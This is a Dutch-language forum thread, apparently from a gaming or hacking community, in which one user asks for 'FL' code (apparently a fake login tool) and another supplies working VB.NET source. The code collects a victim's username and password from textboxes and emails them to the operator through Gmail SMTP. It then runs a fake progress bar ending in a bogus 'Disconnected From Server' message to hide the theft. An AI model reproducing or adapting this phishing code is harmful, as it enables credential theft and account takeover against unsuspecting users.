ey mensen,

heeft iemand de volgende vb08 codes voor me :
gehele FL code met 3 textboxen
progressbar

voor diegene

Failbaws-Spammer

Google is your best frend ;)

Zet en druk fouten voorbehouden.
[PS3/PS4]GTA Recovery Service/ Bo3 and black ops 2 Recovery Service/ MW3 Recovery Service Skype supepro500

Credits paintme

Quote: superpro500
Google is your best frend ;)

Failbaws-Spammer

Quote: failbaws
[...]
heb al gezocht.

zijn er ook mensen die normaal kunnen reageren ?

Failbaws-Spammer

Quote: failbaws
zijn er ook mensen die normaal kunnen reageren ?

https://www.google.nl/sea...p;es_sm=93

Allemaal derpforum tuts .

Speel steen papier schaar tegen mij!

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
        Else

            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
 If TextBox3.Text = "" Then
                MsgBox("idk what Is Mising")
            Else
                Dim smtpServer As New SmtpClient()
                Dim mail As New MailMessage()
                smtpServer.Credentials = New Net.NetworkCredential("jou gmail", "jou gmail wachtwoord")
                'using gmail
                smtpServer.Port = 587
                smtpServer.Host = "smtp.gmail.com"
                smtpServer.EnableSsl = True
                mail = New MailMessage()
                mail.From = New MailAddress("jou gmail")
                mail.To.Add("jou gmail")
                mail.Subject = "Username: " & TextBox1.Text
                mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & "IDkWAT : " & TextBox3.Text
                smtpServer.Send(mail)
                timer1.start()
            End If
        End If
End if

if progressBar.Value < 100 then
ProgressBar1.Value = ProgressBar1.Value + 5
else
MsgBox("Disconnected From Server, Please try again later!")
end if

Quote: Cooltwins

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If TextBox1.Text = "" Then
            MsgBox("Username Is Missing")
        Else

            If TextBox2.Text = "" Then
                MsgBox("Password Is Mising")
            Else
 If TextBox3.Text = "" Then
                MsgBox("idk what Is Mising")
            Else
                Dim smtpServer As New SmtpClient()
                Dim mail As New MailMessage()
                smtpServer.Credentials = New Net.NetworkCredential("jou gmail", "jou gmail wachtwoord")
                'using gmail
                smtpServer.Port = 587
                smtpServer.Host = "smtp.gmail.com"
                smtpServer.EnableSsl = True
                mail = New MailMessage()
                mail.From = New MailAddress("jou gmail")
                mail.To.Add("jou gmail")
                mail.Subject = "Username: " & TextBox1.Text
                mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
                smtpServer.Send(mail)
                timer1.start()
            End If
        End If
End if

en voor progressbar :
Voeg een timer toe
en plaats daar:

if progressBar.Value < 100 then
ProgressBar1.Value = ProgressBar1.Value + 5
else
MsgBox("Disconnected From Server, Please try again later!")
end if

Failbaws-Spammer

@failbaws heb bewerkt zat een klein foutje in
Maar je hebt er niks aan, is zo te kraaken, en dan hebben de je email gehackt